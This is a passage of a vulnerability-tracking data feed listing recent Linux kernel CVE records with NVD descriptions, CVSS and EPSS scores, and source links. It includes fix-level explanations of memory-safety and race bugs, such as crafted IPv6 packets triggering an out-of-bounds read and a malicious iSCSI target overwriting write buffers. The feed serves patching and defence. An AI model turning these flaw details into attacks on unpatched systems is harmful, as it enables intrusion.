affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98491, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98487","cveId":"CVE-2026-98487","aliases":[],"kind":"vulnerability","title":"Linux kernel: net: bridge: mdb: restart port group walk after deletion","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mdb: restart port group walk after deletion\n\nbr_mdb_flush_pgs() keeps a pointer-to-pointer cursor while walking\nmp->ports. br_multicast_del_pg() can re-enter the same MDB entry through\nbr_multicast_sg_del_exclude_ports() and unlink other port groups. If the\ncursor points into one of those groups, the next iteration dereferences a\nstale cursor and can leave mp->ports pointing at freed memory.\n\nA following RTM_GETMDB exposes the dangling pointer:\n\n  BUG: KASAN: slab-use-after-free in br_mdb_dump\n  Read of size 8\n    br_mdb_dump\n    rtnl_mdb_dump\n    rtnl_dumpit\n    netlink_dump\n\nReset the cursor to mp->ports after every deletion. The deletion removes at\nleast the selected group, so the restarted walk always makes progress.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mdb: restart port group walk after deletion\n\nbr_mdb_flush_pgs() keeps a pointer-to-pointer cursor while walking\nmp->ports. br_multicast_del_pg() can re-enter the same MDB entry through\nbr_multicast_sg_del_exclude_ports() and unlink other port groups. If the\ncursor points into one of those groups, the next iteration dereferences a\nstale cursor and can leave mp->ports pointing at freed memory.\n\nA following RTM_GETMDB exposes the dangling pointer:\n\n  BUG: KASAN: slab-use-after-free in br_mdb_dump\n  Read of size 8\n    br_mdb_dump\n    rtnl_mdb_dump\n    rtnl_dumpit\n    netlink_dump\n\nReset the cursor to mp->ports after every deletion. The deletion removes at\nleast the selected group, so the restarted walk always makes progress.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:59.423Z","updatedAt":"2026-10-24T14:16:43.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98487","asOf":"2026-10-24T14:16:43.960Z"},"epss":{"probability":0.00164,"percentile":0.05537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98487&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98487","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98487","type":"primary","publishedAt":"2026-10-18T16:16:59.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98487&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98487, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98485","cveId":"CVE-2026-98485","aliases":[],"kind":"vulnerability","title":"Linux kernel: netfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read\n\nrt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0\neven when address matching (IP6T_RT_FST_MASK) is requested.\n\nIn the IP6T_RT_FST_NSTRICT path, rt_mt6() evaluates packet routing\naddresses against rtinfo->addrs[i] and terminates backwards at the bottom\nof the loop:\n\n    if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {\n        i++;\n    }\n    if (i == rtinfo->addrnr)\n        break;\n\nWhen addrnr is 0, if the first packet address matches rtinfo->addrs[0],\ni is incremented to 1. Because i is now strictly greater than addrnr (0),\nthe loop termination condition (i == rtinfo->addrnr) is bypassed and will\nnever be satisfied.\n\nIf a crafted IPv6 packet contains matching routing addresses, i will\nadvance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal()\nreads beyond struct ip6t_rt, triggering UBSAN/KASAN out-of-bounds warnings\nor kernel panics.\n\nFix this by:\n1. Rejecting rules in rt_mt6_check() where IP6T_RT_FST_MASK is set but\n   rtinfo->addrnr is zero.\n2. In rt_mt6(), moving the termination condition (i < rtinfo->addrnr)\n   into the for-loop header condition and removing the backwards break\n   at the end of the loop body.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ip6t_rt: fix zero-address non-strict match out-of-bounds read\n\nrt_mt6_check() permits rules to be configured with rtinfo->addrnr == 0\neven when address matching (IP6T_RT_FST_MASK) is requested.\n\nIn the IP6T_RT_FST_NSTRICT path, rt_mt6() evaluates packet routing\naddresses against rtinfo->addrs[i] and terminates backwards at the bottom\nof the loop:\n\n    if (ipv6_addr_equal(ap, &rtinfo->addrs[i])) {\n        i++;\n    }\n    if (i == rtinfo->addrnr)\n        break;\n\nWhen addrnr is 0, if the first packet address matches rtinfo->addrs[0],\ni is incremented to 1. Because i is now strictly greater than addrnr (0),\nthe loop termination condition (i == rtinfo->addrnr) is bypassed and will\nnever be satisfied.\n\nIf a crafted IPv6 packet contains matching routing addresses, i will\nadvance past IP6T_RT_HOPS (16). The subsequent call to ipv6_addr_equal()\nreads beyond struct ip6t_rt, triggering UBSAN/KASAN out-of-bounds warnings\nor kernel panics.\n\nFix this by:\n1. Rejecting rules in rt_mt6_check() where IP6T_RT_FST_MASK is set but\n   rtinfo->addrnr is zero.\n2. In rt_mt6(), moving the termination condition (i < rtinfo->addrnr)\n   into the for-loop header condition and removing the backwards break\n   at the end of the loop body.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:59.187Z","updatedAt":"2026-10-24T14:16:43.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98485","asOf":"2026-10-24T14:16:43.780Z"},"epss":{"probability":0.00173,"percentile":0.0666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98485&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98485","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98485","type":"primary","publishedAt":"2026-10-18T16:16:59.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98485&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98485, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98479","cveId":"CVE-2026-98479","aliases":[],"kind":"vulnerability","title":"Linux kernel: scsi: libiscsi_tcp: Check the data direction of a Data-In PDU","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi_tcp: Check the data direction of a Data-In PDU\n\nThe Data-In branch of iscsi_tcp_hdr_dissect() resolves the ITT to a task\nand copies the PDU's data segment into that command's scatterlist without\nasking whether the command was reading. iscsi_tcp_r2t_rsp() in the same\nfile does ask, and rejects an R2T for a command that is not DMA_TO_DEVICE.\n\nA target that answers a WRITE command's ITT with a Data-In therefore has\nthe initiator write target-supplied bytes into the pages that write was\nabout to send. Those are the caller's own pinned pages for an O_DIRECT\nwrite, and page cache pages for a buffered one.\n\nObserved against a test target that emits one 512-byte Data-In naming a 128\nKB write's ITT, after the R2T for that write. With O_DIRECT the caller's\nbuffer ends up holding 512 bytes of the target's data while pwrite()\nreturns 131072. Buffered is quieter: pwrite() and fsync() both succeed,\nnothing is logged, and reading those blocks back returns the target's bytes\nout of the page cache without a command going on the wire.\n\nCheck the direction before using the scatterlist, the way the R2T path\nalready does.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi_tcp: Check the data direction of a Data-In PDU\n\nThe Data-In branch of iscsi_tcp_hdr_dissect() resolves the ITT to a task\nand copies the PDU's data segment into that command's scatterlist without\nasking whether the command was reading. iscsi_tcp_r2t_rsp() in the same\nfile does ask, and rejects an R2T for a command that is not DMA_TO_DEVICE.\n\nA target that answers a WRITE command's ITT with a Data-In therefore has\nthe initiator write target-supplied bytes into the pages that write was\nabout to send. Those are the caller's own pinned pages for an O_DIRECT\nwrite, and page cache pages for a buffered one.\n\nObserved against a test target that emits one 512-byte Data-In naming a 128\nKB write's ITT, after the R2T for that write. With O_DIRECT the caller's\nbuffer ends up holding 512 bytes of the target's data while pwrite()\nreturns 131072. Buffered is quieter: pwrite() and fsync() both succeed,\nnothing is logged, and reading those blocks back returns the target's bytes\nout of the page cache without a command going on the wire.\n\nCheck the direction before using the scatterlist, the way the R2T path\nalready does.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:58.467Z","updatedAt":"2026-10-24T14:16:43.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98479","asOf":"2026-10-24T14:16:43.610Z"},"epss":{"probability":0.00392,"percentile":0.33034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98479&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98479","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98479","type":"primary","publishedAt":"2026-10-18T16:16:58.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98479&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98479, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98471","cveId":"CVE-2026-98471","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: SEV: Do cache maintenance on the source VM during intra-host migration","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Do cache maintenance on the source VM during intra-host migration\n\nManually perform cache maintenance on the source VM during intra-host\nmigration to ensure no stale data is left in CPU caches after the VM is\ndestroyed.  Because the source VM is \"converted\" to a non-SEV VM, KVM's\nmemory reclaim flows won't trigger cache maintenance, e.g. when all guest\nmemory is reclaimed in response to detaching from the mmu_notifier.\n\nNote, relying on the destination VM to do cache maintenance isn't an option\nas KVM doesn't require identical guest memory configurations, i.e. the\nsource VM may have access to memory that the destination VM does not.\nEnforcing equivalent memory configurations is infeasible, as it would\nrequire a *deep* comparison of memslots, e.g. to verify that not only are\nthe memslot identical, but what the memslots point at is also identical.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Do cache maintenance on the source VM during intra-host migration\n\nManually perform cache maintenance on the source VM during intra-host\nmigration to ensure no stale data is left in CPU caches after the VM is\ndestroyed.  Because the source VM is \"converted\" to a non-SEV VM, KVM's\nmemory reclaim flows won't trigger cache maintenance, e.g. when all guest\nmemory is reclaimed in response to detaching from the mmu_notifier.\n\nNote, relying on the destination VM to do cache maintenance isn't an option\nas KVM doesn't require identical guest memory configurations, i.e. the\nsource VM may have access to memory that the destination VM does not.\nEnforcing equivalent memory configurations is infeasible, as it would\nrequire a *deep* comparison of memslots, e.g. to verify that not only are\nthe memslot identical, but what the memslots point at is also identical.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:57.600Z","updatedAt":"2026-10-24T14:16:43.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98471","asOf":"2026-10-24T14:16:43.463Z"},"epss":{"probability":0.00158,"percentile":0.04901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98471","type":"primary","publishedAt":"2026-10-18T16:16:57.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98469","cveId":"CVE-2026-98469","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: arm64: Fix AArch32 DBGBXVR<n> handling","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Fix AArch32 DBGBXVR<n> handling\n\nThe consolidation of the breakpoint and watchpoint register accessors\nswitched DBGBXVR<n> from trap_bvr() to trap_dbg_wb_reg(). The latter\nselects backing storage with demux_wb_reg(), which only handles Op2 values\n4 through 7. Since DBGBXVR<n> uses Op2 1, an AArch32 guest access hits\nKVM_BUG_ON() and marks the VM dead.\n\nDBGBXVR<n> aliases DBGBVR<n>_EL1[63:32], and its AA32(HI) descriptor\nalready selects the upper half. Map Op2 1 to dbg_bvr[] alongside Op2 4,\nrestoring the pre-regression behavior.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Fix AArch32 DBGBXVR<n> handling\n\nThe consolidation of the breakpoint and watchpoint register accessors\nswitched DBGBXVR<n> from trap_bvr() to trap_dbg_wb_reg(). The latter\nselects backing storage with demux_wb_reg(), which only handles Op2 values\n4 through 7. Since DBGBXVR<n> uses Op2 1, an AArch32 guest access hits\nKVM_BUG_ON() and marks the VM dead.\n\nDBGBXVR<n> aliases DBGBVR<n>_EL1[63:32], and its AA32(HI) descriptor\nalready selects the upper half. Map Op2 1 to dbg_bvr[] alongside Op2 4,\nrestoring the pre-regression behavior.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:57.413Z","updatedAt":"2026-10-24T14:16:43.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98469","asOf":"2026-10-24T14:16:43.323Z"},"epss":{"probability":0.00174,"percentile":0.06856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98469&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98469","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98469","type":"primary","publishedAt":"2026-10-18T16:16:57.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98469&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98469, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98466","cveId":"CVE-2026-98466","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: arm64: Transfer the hyp stack pages out of the host stage-2","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Transfer the hyp stack pages out of the host stage-2\n\nfix_host_ownership() walks only the linear-map alias of each memblock\nregion, and the per-CPU hyp stack, mapped in the private VA range for\nits guard page, has none.\n\nWalk each stack's VA range with the same walker.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Transfer the hyp stack pages out of the host stage-2\n\nfix_host_ownership() walks only the linear-map alias of each memblock\nregion, and the per-CPU hyp stack, mapped in the private VA range for\nits guard page, has none.\n\nWalk each stack's VA range with the same walker.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:57.090Z","updatedAt":"2026-10-24T14:16:43.193Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98466","asOf":"2026-10-24T14:16:43.193Z"},"epss":{"probability":0.00168,"percentile":0.06114,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98466&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98466","type":"primary","publishedAt":"2026-10-18T16:16:57.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98466&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98466, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98465","cveId":"CVE-2026-98465","aliases":[],"kind":"vulnerability","title":"Linux kernel: RISC-V: KVM: Serialize IMSIC attributes with vCPU migration","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: KVM: Serialize IMSIC attributes with vCPU migration\n\nKVM device ioctls are not serialized against KVM_RUN. As a result,\nkvm_riscv_aia_imsic_rw_attr() can snapshot the physical CPU and HGEI of\nan IMSIC VS-file before a concurrent vCPU migration releases it.\n\nThe HGEI can then be allocated to another vCPU before imsic_vsfile_rw()\nuses the stale tuple. A GET or SET attribute may consequently access the\nnew owner's interrupt file.\n\nSerialize the entire IMSIC attribute operation with the target vCPU\nmutex. This prevents the VS-file from being migrated and recycled until\nthe attribute access completes. Acquire the mutex killably so that the\ndevice ioctl remains interruptible while waiting for KVM_RUN to finish.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: KVM: Serialize IMSIC attributes with vCPU migration\n\nKVM device ioctls are not serialized against KVM_RUN. As a result,\nkvm_riscv_aia_imsic_rw_attr() can snapshot the physical CPU and HGEI of\nan IMSIC VS-file before a concurrent vCPU migration releases it.\n\nThe HGEI can then be allocated to another vCPU before imsic_vsfile_rw()\nuses the stale tuple. A GET or SET attribute may consequently access the\nnew owner's interrupt file.\n\nSerialize the entire IMSIC attribute operation with the target vCPU\nmutex. This prevents the VS-file from being migrated and recycled until\nthe attribute access completes. Acquire the mutex killably so that the\ndevice ioctl remains interruptible while waiting for KVM_RUN to finish.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:56.993Z","updatedAt":"2026-10-24T14:16:43.033Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98465","asOf":"2026-10-24T14:16:43.033Z"},"epss":{"probability":0.00136,"percentile":0.03042,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98465","type":"primary","publishedAt":"2026-10-18T16:16:56.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98456","cveId":"CVE-2026-98456","aliases":[],"kind":"vulnerability","title":"Linux kernel: Bluetooth: mgmt: fix race in read_unconf_index_list()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: mgmt: fix race in read_unconf_index_list()\n\nread_unconf_index_list() counts unconfigured controllers before allocating\nits response, then checks the device flags again while filling it.\n\nhci_dev_list_lock stabilizes list membership, but it does not serialize the\nper-device flags. During asynchronous controller setup, the worker can set\nHCI_UNCONFIGURED and clear HCI_SETUP between the two passes. A controller\nomitted from the allocation count can then become eligible for the fill\npass, causing an out-of-bounds write to rp->index[].\n\nAllocate space for every device on hci_dev_list. Since list membership\ncannot change while hci_dev_list_lock is held, the response remains large\nenough regardless of flag transitions. The reported count and response\nlength still include only eligible unconfigured controllers.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: mgmt: fix race in read_unconf_index_list()\n\nread_unconf_index_list() counts unconfigured controllers before allocating\nits response, then checks the device flags again while filling it.\n\nhci_dev_list_lock stabilizes list membership, but it does not serialize the\nper-device flags. During asynchronous controller setup, the worker can set\nHCI_UNCONFIGURED and clear HCI_SETUP between the two passes. A controller\nomitted from the allocation count can then become eligible for the fill\npass, causing an out-of-bounds write to rp->index[].\n\nAllocate space for every device on hci_dev_list. Since list membership\ncannot change while hci_dev_list_lock is held, the response remains large\nenough regardless of flag transitions. The reported count and response\nlength still include only eligible unconfigured controllers.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:56.003Z","updatedAt":"2026-10-24T14:16:42.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98456","asOf":"2026-10-24T14:16:42.700Z"},"epss":{"probability":0.00126,"percentile":0.02264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98456&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98456","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98456","type":"primary","publishedAt":"2026-10-18T16:16:56.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98456&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98456, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98454","cveId":"CVE-2026-98454","aliases":[],"kind":"vulnerability","title":"Linux kernel: smb: client: fix create context out-of-bounds reads","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix create context out-of-bounds reads\n\nsmb2_parse_contexts() validates the complete create-context area but\ndoes not limit each record to its Next field before dispatching it.  A\nmalformed chain can therefore expose bytes 